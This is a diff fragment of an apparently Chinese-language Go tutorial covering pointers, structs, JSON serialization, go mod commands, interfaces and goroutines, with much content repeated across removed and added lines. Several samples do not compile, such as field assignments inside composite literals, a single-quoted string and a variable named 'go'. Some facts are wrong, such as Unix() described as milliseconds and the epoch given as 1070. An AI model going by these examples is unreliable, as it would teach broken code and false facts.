-fmt.Println(b) // 获取地址
-fmt.Println(*b) // 根据地址取值
-*b = 666 
-fmt.Println(a) // 根据地址修改值，改变内存中的值，会改变原来的变量值
-</code></pre><p>注意：指针必须在创建内存后才能使用（其他引用类型也是一样，需要用make分配空间或者在定义的时候分配空间，值类型在声明的时候已经分配了默认空间，因此值类型不用分配空间）</p><p>new关键字分配内存（new是一个内置函数，调用new函数得到的是指定类型的指针，并且指针对应的值为该类型的零值）</p><pre><code>abc :=  new(int)
-fmt.Printf(abc)
-fmt.Println(*abc)
-</code></pre><p>make和new的区别：虽然这两个都是用来内存分配的，不过make是用于map，channel，切片（slice）的初始化，返回的值为这3个类型的本身，而new是用来类型的内存分配，内存对应的值为类型的零值，返回的值为指向类型的指针</p><hr><p>Golang语言是面向对象语言又不是，虽然有类型和方法，也支持面向对象的编程风格，但是go没有对象（object）这个类型，也没有类（class）的概念，在go中用结构体替代面向对象语言的类（class）</p><p>type关键字（go通过type关键字定义结构体，结构体是值类型）</p><p>自定义类型（type也可以来定义自定义类型）</p><pre><code>type dataStr string
-</code></pre><p>dataStr自定义类型具备string类型的特性</p><pre><code>type dataStr string
-func main() {
-    var abc dataStr = &quot;hallo word&quot;
-    fmt.Printf(&quot;%v %T&quot;, abc, abc)
-}
-</code></pre><p>类型别名（只是别名，实质上还是同一个类型）</p><pre><code>type dataStr = string
-</code></pre><p>结构体的定义以及初始化（type关键字和struct关键字）</p><pre><code>type Data struct{
-    user string // 定义结构体
-    age int
-    pass string
-}
-func main(){
-    var data Data // 实例化
-    data.user = &quot;root&quot;
-    data.age = 20
-    data.pass = &quot;123456789&quot;
-    fmt.Printf(&quot;%#v&quot;, data)
-}
-</code></pre><p>也可以使用new关键字实例化</p><pre><code>func main(){
-    var data = new(Data) // 实例化
-    data.user = &quot;root&quot;
-    // 等于 (*data).user = &quot;root&quot;
-    data.age = 20
-    data.pass = &quot;123456789&quot;
-    fmt.Printf(&quot;%#v&quot;, data) // 结构体指针
-}
-</code></pre><p>在golang中支持直接对结构体指针使用，来访问结构体的属性</p><p>另外几种实例化结构体的方法</p><pre><code>var data = &amp;Data{
-    data.user = &quot;root&quot;,
-    data.age = 20,
-    data.pass = &quot;123456789&quot;,
-}
-fmt.Printf(&quot;%#v&quot;, data)
-
-
-var data = Data{
-    data.user = &quot;root&quot;,
-    data.age = 20,
-    data.pass = &quot;123456789&quot;,
-}
-fmt.Printf(&quot;%#v&quot;, data)
-
-
-var data = Data{
-    &quot;root&quot;,
-    20,
-    &quot;123456789&quot;,
-}
-fmt.Printf(&quot;%#v&quot;, data)
-</code></pre><p>结构体的方法和接收</p><pre><code>type Data struct{
-    // 定义结构体
-    user string 
-    age int
-    pass string
-}
-func (d Data) DataMain() {
-    // 定义方法
-    fmt.Print(&quot;user:&quot;, d.user)
-    fmt.Print(&quot;age:&quot;, d.age)
-    fmt.Print(&quot;pass:&quot;, d.pass)
-    fmt.Println()
-}
-func (d *Data) GetData(user string, age int, pass string)  {
-    // 接收方法，因为结构体是值类型，需要使用指针
-    d.user = user
-    d.age = age
-    d.pass = pass
-}
-func main() {
-    var data = Data{
-        &quot;root&quot;,
-        20,
-        &quot;123456789&quot;,
-    }
-    data.DataMain()
-    data.GetData(&quot;admin&quot;, 22, &quot;abc12345&quot;)
-    data.DataMain()
-}
+b := &lt;- a</p><p>chan底层是指针，指针初始值为空，需要实例化，make()就是实例化了chan</p><p>&lt;- 999：将值放进通道</p><p>&lt;- a : 将 999 从通道中提取出来</p><hr><p>函数</p><p>函数通过func关键字来声明和定义函数</p><pre><code>func hallo(a ...string){
+    fmt.Println(a)
+}
+func main(){
+    hallo(&quot;hallo golang!!!&quot;)
+}
+</code></pre><p>匿名函数</p><pre><code>func main() {
+func () {
+    fmt.Println(&quot;我是匿名函数&quot;)
+}()
+}
+</code></pre><p>因为没有函数名，没法像正常函数那样被调用，需要将其赋值或者作为立即执行函数</p><p>返回值</p><pre><code>func hallo(a, b int) (int,int,int) {
+    x := a+b
+    y := a-b
+    z := a*b
+    return x, y, z
+}
+func main(){
+    abc, xyz, go := hallo(6,3)
+    fmt.Println(abc, xyz, go)
+}
+</code></pre><p>当然也是可以自动返回</p><p>func hallo(a, b int) (x int,y int,z int){}</p><p>golang的全局变量和局部变量</p><p>全局变量：常驻内存中，污染全局</p><p>局部变量：不常驻内存中，不污染全局</p><p>闭包：让变量可以常驻内存的同时，不污染全局</p><p>闭包的写法：</p><pre><code>func hallo() func() int {
+i := 123
+return func() int {
+    return i + 666
+}
+}
+func main() {
+var abc = hallo()
+fmt.Println(abc())
+}
+</code></pre><p>或者</p><pre><code>func hallo() func(a int) int {
+var i = 10
+return func(a int) int {
+    i = i + a
+    return i
+    }
+}
+func main() {
+var abc = hallo()
+fmt.Println(abc(666))
+}
+</code></pre><p>defer修饰语句可以延迟执行语句，例如：</p><pre><code>fmt.Println(&quot;1&quot;)
+defer fmt.Println(&quot;2&quot;)
+fmt.Println(&quot;3&quot;)
+</code></pre><p>如果使用多个defer修饰语句，会逆序执行（先使用defer最后执行，最后使用defer，最早执行（相对于使用defer修饰的语句））</p><hr><p>在golang中的time包提供了时间显示和测量时间的函数</p><p>获取时间（年-月-日）例如：</p><pre><code>timedata := time.Now()
+year := timedata.Year()
+month := timedata.Month()
+day := timedata.Day()
+fmt.Printf(&quot;%d-%02d-%02d \n&quot;, year, month, day)
+</code></pre><p>格式化日期（在golang中，并且不是使用Y-m-d H:M:S模板格式化，而且是使用Go的诞生时间：2006年1月2日 15点04分）</p><p>例如：</p><pre><code>timedata := time.Now()
+fmt.Println(timedata.Format(&quot;2006-01-02 15:04:05&quot;)) // 24小时制
+fmt.Println(timedata.Format(&quot;2006-01-02 03:04:05&quot;)) // 12小时制
+</code></pre><p>获取时间戳（时间戳是自1070年1月1日08:00:00GMT至今的总毫秒数，又叫Unix时间戳）</p><p>例如：</p><pre><code>timedata := time.Now()
+unixTime := timedata.Unix() // 毫秒时间戳
+unixNaTime := timedata.UnixNano() // 纳秒时间戳
+fmt.Println(unixTime,unixNaTime)
+</code></pre><p>时间戳转正常日期</p><pre><code>var abc = time.Unix(1642746020, 0)
+var xyz = abc.Format(&quot;2006-01-02 15:04:05&quot;)
+fmt.Println(xyz)
+</code></pre><p>正常日期转时间戳</p><pre><code>var abc = &quot;2022-01-21 14:21:55&quot;
+var tmp = &quot;2006-01-02 15:04:05&quot;
+timedata, err := time.ParseInLocation(tmp, abc, time.Local)
+fmt.Println(timedata.Unix())
+</code></pre><p>时间的间隔（两个时间之间的间隔，单位为纳秒，time.Duration是time定义的类型，表示一段时间间隔，最大可以表示290年）</p><pre><code>data := time.Now()
+abc := data.Add(time.Hour)
+xyz := data.Add(time.Second)
+fmt.Println(abc) // 输出1个小时后的时间
+fmt.Println(xyz) // 输出1秒后的时间
+</code></pre><hr><p>指针</p><p>golang的指针有3个概念，地址，类型，取值</p><p>&：获取地址，*：根据地址取值</p><pre><code>a := 100
+b := &amp;a
+fmt.Println(b) // 获取地址
+fmt.Println(*b) // 根据地址取值
+*b = 666 
+fmt.Println(a) // 根据地址修改值，改变内存中的值，会改变原来的变量值
+</code></pre><p>注意：指针必须在创建内存后才能使用（其他引用类型也是一样，需要用make分配空间或者在定义的时候分配空间，值类型在声明的时候已经分配了默认空间，因此值类型不用分配空间）</p><p>new关键字分配内存（new是一个内置函数，调用new函数得到的是指定类型的指针，并且指针对应的值为该类型的零值）</p><pre><code>abc :=  new(int)
+fmt.Printf(abc)
+fmt.Println(*abc)
+</code></pre><p>make和new的区别：虽然这两个都是用来内存分配的，不过make是用于map，channel，切片（slice）的初始化，返回的值为这3个类型的本身，而new是用来类型的内存分配，内存对应的值为类型的零值，返回的值为指向类型的指针</p><hr><p>Golang语言是面向对象语言又不是，虽然有类型和方法，也支持面向对象的编程风格，但是go没有对象（object）这个类型，也没有类（class）的概念，在go中用结构体替代面向对象语言的类（class）</p><p>type关键字（go通过type关键字定义结构体，结构体是值类型）</p><p>自定义类型（type也可以来定义自定义类型）</p><pre><code>type dataStr string
+</code></pre><p>dataStr自定义类型具备string类型的特性</p><pre><code>type dataStr string
+func main() {
+    var abc dataStr = &quot;hallo word&quot;
+    fmt.Printf(&quot;%v %T&quot;, abc, abc)
+}
+</code></pre><p>类型别名（只是别名，实质上还是同一个类型）</p><pre><code>type dataStr = string
+</code></pre><p>结构体的定义以及初始化（type关键字和struct关键字）</p><pre><code>type Data struct{
+    user string // 定义结构体
+    age int
+    pass string
+}
+func main(){
+    var data Data // 实例化
+    data.user = &quot;root&quot;
+    data.age = 20
+    data.pass = &quot;123456789&quot;
+    fmt.Printf(&quot;%#v&quot;, data)
+}
+</code></pre><p>也可以使用new关键字实例化</p><pre><code>func main(){
+    var data = new(Data) // 实例化
+    data.user = &quot;root&quot;
+    // 等于 (*data).user = &quot;root&quot;
+    data.age = 20
+    data.pass = &quot;123456789&quot;
+    fmt.Printf(&quot;%#v&quot;, data) // 结构体指针
+}
+</code></pre><p>在golang中支持直接对结构体指针使用，来访问结构体的属性</p><p>另外几种实例化结构体的方法</p><pre><code>var data = &amp;Data{
+    data.user = &quot;root&quot;,
+    data.age = 20,
+    data.pass = &quot;123456789&quot;,
+}
+fmt.Printf(&quot;%#v&quot;, data)
+
+
+var data = Data{
+    data.user = &quot;root&quot;,
+    data.age = 20,
+    data.pass = &quot;123456789&quot;,
+}
+fmt.Printf(&quot;%#v&quot;, data)
+
+
+var data = Data{
+    &quot;root&quot;,
+    20,
+    &quot;123456789&quot;,
+}
+fmt.Printf(&quot;%#v&quot;, data)
+</code></pre><p>结构体的方法和接收</p><pre><code>type Data struct{
+    // 定义结构体
+    user string 
+    age int
+    pass string
+}
+func (d Data) DataMain() {
+    // 定义方法
+    fmt.Print(&quot;user:&quot;, d.user)
+    fmt.Print(&quot;age:&quot;, d.age)
+    fmt.Print(&quot;pass:&quot;, d.pass)
+    fmt.Println()
+}
+func (d *Data) GetData(user string, age int, pass string)  {
+    // 接收方法，因为结构体是值类型，需要使用指针
+    d.user = user
+    d.age = age
+    d.pass = pass
+}
+func main() {
+    var data = Data{
+        &quot;root&quot;,
+        20,
+        &quot;123456789&quot;,
+    }
+    data.DataMain()
+    data.GetData(&quot;admin&quot;, 22, &quot;abc12345&quot;)
+    data.DataMain()
+}
 </code></pre><p>输出结果为：</p><p>user:rootage:20pass:123456789
-user:adminage:22pass:abc12345</p><p>自定义类型方法（类型一样可以定义方法）</p><pre><code>type dataStr string
-func (d dataStr) dataInfo(){
-    fmt.Println(&quot;hallo golang&quot;) // 自定义类型的自定义方法
-}
-func main() {
-    var abc dataStr = &quot;hallo word&quot;
-    abc.dataInfo()
-}
-</code></pre><p>结构体匿名字段（go允许字段在声明的时候没有字段名，只有类型，因为结构体要求字段名唯一，因此在同一个结构体中同种类型的匿名字段只能出现一次）</p><pre><code>type Data struct{
-    // 定义结构体
-    string 
-    int
-    string
-}
-func main(){
-    var data = Data{
-        // 结构体匿名字段
-        &quot;root&quot;,
-         20,
-         &quot;123456789&quot;,
-    }  
-}
-</code></pre><p>注意：结构体的字段类型可以是任意类型（包括自定义类型，结构体类型），但是如果类型是引用类型（例如map，指针）需要先使用make分配空间再使用</p><p>结构体嵌套</p><pre><code>type Data struct{
-    // 定义结构体
-    user string 
-    age int
-    pass string
-    datamain DataMain //嵌套DataMain结构体
-}
-type DataMain struct{
-    // 定义结构体
-    email string
-    phone string
-}
-
-func main() {
-    var d Data
-    d.user = &quot;xiaochen&quot;
-    d.age = 20
-    d.pass = &quot;123456789&quot;
-    var datamain DataMain
-    datamain.email = &quot;a@xiaochenabc123.test.com&quot;
-    datamain.phone = &quot;18888888888&quot;
-    d.datamain = datamain
-    fmt.Printf(&quot;%#v&quot;, d)
-}
-</code></pre><p>输出结果为main.Data{user:&ldquo;xiaochen&rdquo;, age:20, pass:&ldquo;123456789&rdquo;, datamain:main.DataMain{email:&ldquo;<a href=mailto:a@xiaochenabc123.test.com>a@xiaochenabc123.test.com</a>&rdquo;, phone:&ldquo;18888888888&rdquo;}}</p><p>嵌套结构体可能出现字段名相同，go默认先从父结构体查找，如果没有再到子结构体中查找，这时如果子结构体存在相同的字段，会报错，因为不知道该设置哪个字段（所以字段名要全局唯一）</p><p>结构体继承（可以理解为类的继承，实质效果和结构体嵌套类似）</p><pre><code>type Data struct{
-    // 定义结构体
-    user string 
-    age int
-    pass string
-    DataMain //通过结构体嵌套实现继承
-}
-func (data Data) datamax()  {
-    fmt.Printf(&quot;email:  %v \n&quot;, data.email)
-}
-type DataMain struct{
-    // 定义结构体
-    email string
-    phone string
-}
-func (datamain DataMain) dataabc()  {
-    fmt.Printf(&quot;email: %v  \n&quot;, datamain.email)
-}
-func main() {
-    var data = Data{
-        user: &quot;root&quot;,
-        DataMain: DataMain{
-            email: &quot;a@xiaochenabc123.test.com&quot;,
-        },
-    }
-    data.datamax();
-    data.dataabc();
-}
-</code></pre><p>可以看到Data结构体拥有DataMain结构体的方法</p><p>注意结构体的字段首字母要大写，表示公有，小写为私用</p><p>go结构体和json序列化</p><p>将结构体转换为json叫json序列化，将json转换为结构体叫json反序列化</p><p>json序列化和json反序列化主要依赖于encoding/json包的json.Marshal()方法和json.Unmarshal()方法</p><pre><code>type Data struct{
-    // 定义结构体
-    User string 
-    Age int
-    Pass string
-}
-func main() {
-    var data = Data{
-        User: &quot;root&quot;,
-        Age: 20,
-        Pass: &quot;123456789&quot;,
-    }
-    // 结构体转换成Json（返回值为是byte类型的切片）
-    jsonByte, _ := json.Marshal(data)
-    // byte类型转string类型
-    jsonStr := string(jsonByte)
-    fmt.Printf(string(jsonByte))
-    fmt.Printf(jsonStr)
-}
-</code></pre><p>json字符串转结构体</p><pre><code>type Data struct{
-    // 定义结构体
-    User string 
-    Age string
-    Pass string
-}
-func main() {
-    // Json字符串转换成结构体
-    var str = `{&quot;User&quot;:&quot;root&quot;,&quot;Age&quot;:&quot;20&quot;,&quot;Pass&quot;:&quot;123456789&quot;}`
-    var data = Data{}
-    // 第一个参数是传入byte类型的json字符串，第二个参数需要传入转换的地址
-    err := json.Unmarshal([]byte(str), &amp;data)
-    if err != nil {
-        fmt.Printf(&quot;转换失败 \n&quot;)
-    } else {
-        fmt.Printf(&quot;%#v \n&quot;, data)
-    }
-}
-</code></pre><p>结构体标签（tag）</p><p>tag是结构体的元信息，可以在运行时通过反射的机制读取出来，tag在结构体字段后面定义，用反引号包裹，tag是以键值对的方式组成，不同的tag用空格分隔</p><pre><code>type Data struct{
-    // 定义结构体，并且使用结构体标签
-    User string `json:&quot;user&quot;`
-    Age string `json:&quot;age&quot;`
-    Pass string `json:&quot;pass&quot;`
-}
-func main() {
-    var data = Data{
-        User: &quot;root&quot;,
-        Age: &quot;20&quot;,
-        Pass: &quot;123456789&quot;,
-    }
-    jsonByte, _ := json.Marshal(data)
-    // byte类型转string类型
-    jsonStr := string(jsonByte)
-    fmt.Printf(jsonStr)
-    var str = `{&quot;User&quot;:&quot;admin&quot;,&quot;Age&quot;:&quot;22&quot;,&quot;Pass&quot;:&quot;abc12345&quot;}`
-    var datajson = Data{}
-    err := json.Unmarshal([]byte(str), &amp;datajson)
-    if err != nil {
-        fmt.Printf(&quot;转换失败 \n&quot;)
-    } else {
-        fmt.Printf(&quot;%#v \n&quot;, datajson)
-    }
-}
+user:adminage:22pass:abc12345</p><p>自定义类型方法（类型一样可以定义方法）</p><pre><code>type dataStr string
+func (d dataStr) dataInfo(){
+    fmt.Println(&quot;hallo golang&quot;) // 自定义类型的自定义方法
+}
+func main() {
+    var abc dataStr = &quot;hallo word&quot;
+    abc.dataInfo()
+}
+</code></pre><p>结构体匿名字段（go允许字段在声明的时候没有字段名，只有类型，因为结构体要求字段名唯一，因此在同一个结构体中同种类型的匿名字段只能出现一次）</p><pre><code>type Data struct{
+    // 定义结构体
+    string 
+    int
+    string
+}
+func main(){
+    var data = Data{
+        // 结构体匿名字段
+        &quot;root&quot;,
+         20,
+         &quot;123456789&quot;,
+    }  
+}
+</code></pre><p>注意：结构体的字段类型可以是任意类型（包括自定义类型，结构体类型），但是如果类型是引用类型（例如map，指针）需要先使用make分配空间再使用</p><p>结构体嵌套</p><pre><code>type Data struct{
+    // 定义结构体
+    user string 
+    age int
+    pass string
+    datamain DataMain //嵌套DataMain结构体
+}
+type DataMain struct{
+    // 定义结构体
+    email string
+    phone string
+}
+
+func main() {
+    var d Data
+    d.user = &quot;xiaochen&quot;
+    d.age = 20
+    d.pass = &quot;123456789&quot;
+    var datamain DataMain
+    datamain.email = &quot;a@xiaochenabc123.test.com&quot;
+    datamain.phone = &quot;18888888888&quot;
+    d.datamain = datamain
+    fmt.Printf(&quot;%#v&quot;, d)
+}
+</code></pre><p>输出结果为main.Data{user:&ldquo;xiaochen&rdquo;, age:20, pass:&ldquo;123456789&rdquo;, datamain:main.DataMain{email:&ldquo;<a href=mailto:a@xiaochenabc123.test.com>a@xiaochenabc123.test.com</a>&rdquo;, phone:&ldquo;18888888888&rdquo;}}</p><p>嵌套结构体可能出现字段名相同，go默认先从父结构体查找，如果没有再到子结构体中查找，这时如果子结构体存在相同的字段，会报错，因为不知道该设置哪个字段（所以字段名要全局唯一）</p><p>结构体继承（可以理解为类的继承，实质效果和结构体嵌套类似）</p><pre><code>type Data struct{
+    // 定义结构体
+    user string 
+    age int
+    pass string
+    DataMain //通过结构体嵌套实现继承
+}
+func (data Data) datamax()  {
+    fmt.Printf(&quot;email:  %v \n&quot;, data.email)
+}
+type DataMain struct{
+    // 定义结构体
+    email string
+    phone string
+}
+func (datamain DataMain) dataabc()  {
+    fmt.Printf(&quot;email: %v  \n&quot;, datamain.email)
+}
+func main() {
+    var data = Data{
+        user: &quot;root&quot;,
+        DataMain: DataMain{
+            email: &quot;a@xiaochenabc123.test.com&quot;,
+        },
+    }
+    data.datamax();
+    data.dataabc();
+}
+</code></pre><p>可以看到Data结构体拥有DataMain结构体的方法</p><p>注意结构体的字段首字母要大写，表示公有，小写为私用</p><p>go结构体和json序列化</p><p>将结构体转换为json叫json序列化，将json转换为结构体叫json反序列化</p><p>json序列化和json反序列化主要依赖于encoding/json包的json.Marshal()方法和json.Unmarshal()方法</p><pre><code>type Data struct{
+    // 定义结构体
+    User string 
+    Age int
+    Pass string
+}
+func main() {
+    var data = Data{
+        User: &quot;root&quot;,
+        Age: 20,
+        Pass: &quot;123456789&quot;,
+    }
+    // 结构体转换成Json（返回值为是byte类型的切片）
+    jsonByte, _ := json.Marshal(data)
+    // byte类型转string类型
+    jsonStr := string(jsonByte)
+    fmt.Printf(string(jsonByte))
+    fmt.Printf(jsonStr)
+}
+</code></pre><p>json字符串转结构体</p><pre><code>type Data struct{
+    // 定义结构体
+    User string 
+    Age string
+    Pass string
+}
+func main() {
+    // Json字符串转换成结构体
+    var str = `{&quot;User&quot;:&quot;root&quot;,&quot;Age&quot;:&quot;20&quot;,&quot;Pass&quot;:&quot;123456789&quot;}`
+    var data = Data{}
+    // 第一个参数是传入byte类型的json字符串，第二个参数需要传入转换的地址
+    err := json.Unmarshal([]byte(str), &amp;data)
+    if err != nil {
+        fmt.Printf(&quot;转换失败 \n&quot;)
+    } else {
+        fmt.Printf(&quot;%#v \n&quot;, data)
+    }
+}
+</code></pre><p>结构体标签（tag）</p><p>tag是结构体的元信息，可以在运行时通过反射的机制读取出来，tag在结构体字段后面定义，用反引号包裹，tag是以键值对的方式组成，不同的tag用空格分隔</p><pre><code>type Data struct{
+    // 定义结构体，并且使用结构体标签
+    User string `json:&quot;user&quot;`
+    Age string `json:&quot;age&quot;`
+    Pass string `json:&quot;pass&quot;`
+}
+func main() {
+    var data = Data{
+        User: &quot;root&quot;,
+        Age: &quot;20&quot;,
+        Pass: &quot;123456789&quot;,
+    }
+    jsonByte, _ := json.Marshal(data)
+    // byte类型转string类型
+    jsonStr := string(jsonByte)
+    fmt.Printf(jsonStr)
+    var str = `{&quot;User&quot;:&quot;admin&quot;,&quot;Age&quot;:&quot;22&quot;,&quot;Pass&quot;:&quot;abc12345&quot;}`
+    var datajson = Data{}
+    err := json.Unmarshal([]byte(str), &amp;datajson)
+    if err != nil {
+        fmt.Printf(&quot;转换失败 \n&quot;)
+    } else {
+        fmt.Printf(&quot;%#v \n&quot;, datajson)
+    }
+}
 </code></pre><hr><p>包(package)是多个源码的集合，是一种代码复用方案，像fmt，time，encoding/json都是go的内置包</p><p>go中的包分为3种，内置包（go提供的内置包，可以直接引入使用），自定义包（自己写的包），第三方包（也是自定义包，不过不是自己写的，需要下载到本地才能使用）</p><p>包管理器（go mod）（在1.11版本之前需要使用自定义包的话，需要将项目放在GOPATH环境变量中，1.13之后将彻底不需要GOPATH）</p><p>初始化项目（生成go.mod来管理项目的依赖（包括go版本和要使用到的包））</p><p>go mod init go_test</p><p>如果要引入go_test项目的包，需要import &ldquo;go_test/包名&rdquo;，包名根据package设置</p><p>package 包名</p><p>注意：包名不能和文件夹的名字相同，包名不能出现-符号，一个文件夹中直接包含的文件只能归1个package，同一个package的文件不能在多个文件夹中，而且只有引入了包名为main的程序，编译后会得到可执行文件，如果没有包含main包的程序编译不会得到可执行文件</p><p>init()初始化函数：导入包，自动触发包内部的init()函数的调用</p><p>go会先从main包开始检查其导入的所有包，每个包又可能导入了其他包，因此形成了一个树状包引入关系，根据引入的顺序来决定编译的顺序</p><p>最后导入的包最先初始化并且调用其init()函数</p><p>golang第三包仓库https://pkg.go.dev/</p><p>go install 编译并安装包（当存在GOBIN环境变量时，编译完成的二进制文件放到$GOBIN下，如果不存在默认放到GOPATH/bin下，源码默认在$HOME/sdk下）</p><p>go install <a href=mailto:github.com/tal-tech/go-zero@1.4.1>github.com/tal-tech/go-zero@1.4.1</a></p><p>go get 全局安装包（Go 1.17版本中已被弃用，推荐使用go install ）</p><p>go get github.com/tal-tech/go-zero</p><p>go mod download 全局安装包</p><p>依赖自动下载到$GOPATH/pkg/mod目录，多个项目可共享缓存的mod，使用该命令之前需要在项目引入第三方包</p><p>go mod vendor 将依赖复制到当前项目的vendor中，需要在项目引入第三方包</p><p>go mod vendor</p><p>其他命令</p><p>go mod edit 编辑go.mod文件</p><p>go mod tidy 自动处理go.mod中多引入和少引入的包（没有使用的module移除，缺少引入的module将自动引入构建，确保go.mod与模块中的源代码一致）</p><p>go mod graph 打印模块依赖图</p><p>go mod verify 校验依赖，检查下载的第三方库是否本地修改，如果没有修改则返回0（校验成功），否则返回非0（校验失败）</p><p>go mod why 解释为啥需要包</p><p>使用Modules</p><p>GO111MODULE：1.12版本之前的，要设置环境变量GO111MODULE，之后就不需要了通过设置GO111MODULE来开启或者关闭go module</p><p>GO111MODULE = off 禁用go module，编译时在GOPATH和vendor中查找包
 GO111MODULE = on 启用go module，编译时忽略GOPATH和vendor，只根据go.mod下载依赖
 GO111MODULE=auto 默认值，当项目在GOPATH/src之外，并且项目的根目录有go.mod文件时启用go module</p><p>windows设置GO111MODULE</p><p>set GO111MODULE=on|off|auto</p><p>MacOS或者Linux设置GO111MODULE</p><p>export GO111MODULE=on|off|auto</p><p>off和auto，下载的包安装在GOPATH/src目录下</p><p>no，下载的包安装在GOPATH/pkg/mod/下，也在这个目录下查找包（不在GOPATH/src查找）</p><p>也可以手动修改环境变量，GO111MODULE变量，值为on|off|auto</p><p>GOPROXY：GO代理服务器，是Go官方提供的中间代理的方式来包下载，需要设置GOPROXY环境变量</p><p>常见的代理服务器地址：</p><p>goproxy.io；
 goproxy.cn：由国内的七牛云提供</p><p>一键设置GOPROXY：</p><p>windows：go env -w GOPROXY=https://goproxy.cn,direct</p><p>Linux或者macOS：export GOPROXY=https://goproxy.cn</p><p>注意：go语言在1.13版本后，GOPROXY默认为https://proxy.golang.org，如果下载缓慢或者无法访问请设置为https://goproxy.cn</p><p>也可以手动修改环境变量，GOPROXY变量，值为https://goproxy.cn</p><p>依赖的安装（注意：需要移除把项目从GOPATH移除（GOPATH下不允许有go.mod），否则报错$GOPATH/go.mod exists but should not）</p><p>go get下载指定版本的依赖包</p><p>go get -u 升级项目中的包到最新的次要版本或者修订版本
 go get -u=patch 升级项目中的包到最新的修订版本
-go get 包名@版本号 下载对应包的指定版本或者将对应包升级到指定的版本，版本号可以是v1.x.x之类的，也是可以是git的分支，tag，git提交的哈希值</p><p>手动修改go.mod，执行go mod download或者使用go get</p><hr><hr><p>go的接口（interface）是一种抽象数据类型，接口定义了对象的行为规范，只负责定义规范，并不实现，接口的规范实现由具体的对象来实现</p><p>接口是一组函数method的集合，接口不能存在任何变量，接口中的全部方法都没有方法体</p><pre><code>type TestData interface{
-    // 定义一个TestData接口
-    test()
-    data()
-}
-type Data struct {
-    // 实现接口
-    User string
-}
-func (d Data) test()  {
-    fmt.Println(d.User, &quot;Test&quot;)
-}
-func (d Data) data()  {
-    fmt.Println(d.User, &quot;Data&quot;)
-}
-func main() {
-    var datamain TestData = Data{
-        &quot;root&quot;,
-    }
-    datamain.test()
-    datamain.data()
-}
-</code></pre><p>空接口（接口允许不定义任何方法，不定义任何方法的接口就是空接口）</p><pre><code>type Maxdata interface {
-    // 定义一个空接口，空接口表示没有约束，任何类型都能实现空接口
-}
-func main() {
-    var abc Maxdata
-    var str = &quot;hallo word&quot;
-    abc = str
-    fmt.Println(abc)
-}
-</code></pre><p>Go1.18版本已添加any关键字来表示泛型</p><pre><code>func main(){
-    var abc any
-    abc = 'hallo any'
-    fmt.Println(abc)
-}
-</code></pre><p>实质上any还是空接口interface{}的类型别名，type any = interface{}</p><p>空接口也可用来当做类型，表示任意类型（类似于Java中的Object类型）</p><p>空接口还可以用来当做函数的参数，表示可以接收任意类型的函数参数</p><pre><code>func Data(abc interface{}) {
-    fmt.println(abc)
-}
-</code></pre><p>使用空接口来实现可以保存任意类型的map</p><pre><code>var dataInfo = make(map[string]interface{})
-dataInfo[&quot;uesr&quot;] = &quot;root&quot;
-dataInfo[&quot;age&quot;] = 20
-dataInfo[&quot;pass&quot;] = &quot;123456789&quot;
-</code></pre><p>使用空接口来实现一个空接口类型的切片</p><pre><code>var dataslice = make([]interface{}, 6, 6)
-dataslice[0] = &quot;root&quot;
-dataslice[1] = 20
-dataslice[3] = &quot;123456789&quot;
-</code></pre><p>类型断言</p><p>接口的值是由具体类型和具体类型的值组成，称为接口的动态类型和动态值</p><p>判断空接口的值的类型，需要使用类型断言，语法格式为：类型为interface{}的变量.(断言这个变量可能是的类型)</p><p>例如：</p><pre><code>var abc interface{}
-abc = 123
-value, isInt := abc.(int)
-if isInt {
-    fmt.Println(&quot;int类型, 值为：&quot;, value)
-} else {
-    fmt.Println(&quot;不是int类型，断言失败&quot;)
-}
-</code></pre><hr><p>Go并发</p><p>还是讲一下进程和线程的区别</p><p>进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态</p><p>线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程</p><p>并发和并行的区别</p><p>并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发</p><p>并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行</p><p>并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程</p><p>当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发</p><p>go的主线程和协程（goroutine）：主线程可调起多个协程，而多协程就是可以实现并行或者并发了</p><p>每个goroutine (协程) 默认占用内存远比 Java 、C的线程少（goroutine是2kb，加上协程调度内存开销也比线程少，因此goroutine是轻量级线程）</p><p>通过go关键字开启goroutine即可实现协程功能，goroutine的调度由golang运行时进行管理，例如</p><pre><code>var wg sync.WaitGroup // 协程计数器
-func data1() {
-    for i := 0; i &lt; 5; i++ {
-        fmt.Println(&quot;hallo word&quot;)
-        time.Sleep(time.Millisecond * 100)
-    }
-    wg.Done() // 程序结束则协程计数器减1
-}
-func data2() {
-    for a := 0; a &lt; 5; a++ {
-        fmt.Println(&quot;hallo golang&quot;)
-        time.Sleep(time.Millisecond * 100)
-    }
-    wg.Done() // 程序结束则协程计数器减1
-}
-func main() {
-    wg.Add(1) // 协程计数器加1
-    go data1()
-    wg.Add(1) // 协程计数器加1
-    go data2()
-    for i := 0; i &lt; 5; i++ {
-        fmt.Println(&quot;hallo hahaha&quot;)
-        time.Sleep(time.Millisecond * 100)
-    }
-    wg.Wait() // 等待所有的协程执行完毕
-    fmt.Println(&quot;主线程结束&quot;)
-}
-</code></pre><p>通过time.Sleep设置100毫秒定时，可以看到并没有顺序输出，因为这里使用了多协程</p><p>go运行时的调度器通过GOMAXPROCS参数来确定使用多少个OS线程来执行，默认值为计算机的cpu核心数，例如32核的计数器，调度器将程序同时调度到32个OS线程上，通过runtime.GOMAXPROCS()设置当前程序发时的CPU逻辑核心数，runtime.NumCPU()获取计算机的CPU核心数</p><p>注意：go1.5版本之前，默认使用单核心，1.5版本之后默认使用全部核心数</p><pre><code>Cpu := runtime.NumCPU() // 获取cpu个数
-fmt.Println(&quot;cpu核心数:&quot;, Cpu)
-runtime.GOMAXPROCS(runtime.NumCPU() - 1) // 设置要使用的CPU数量
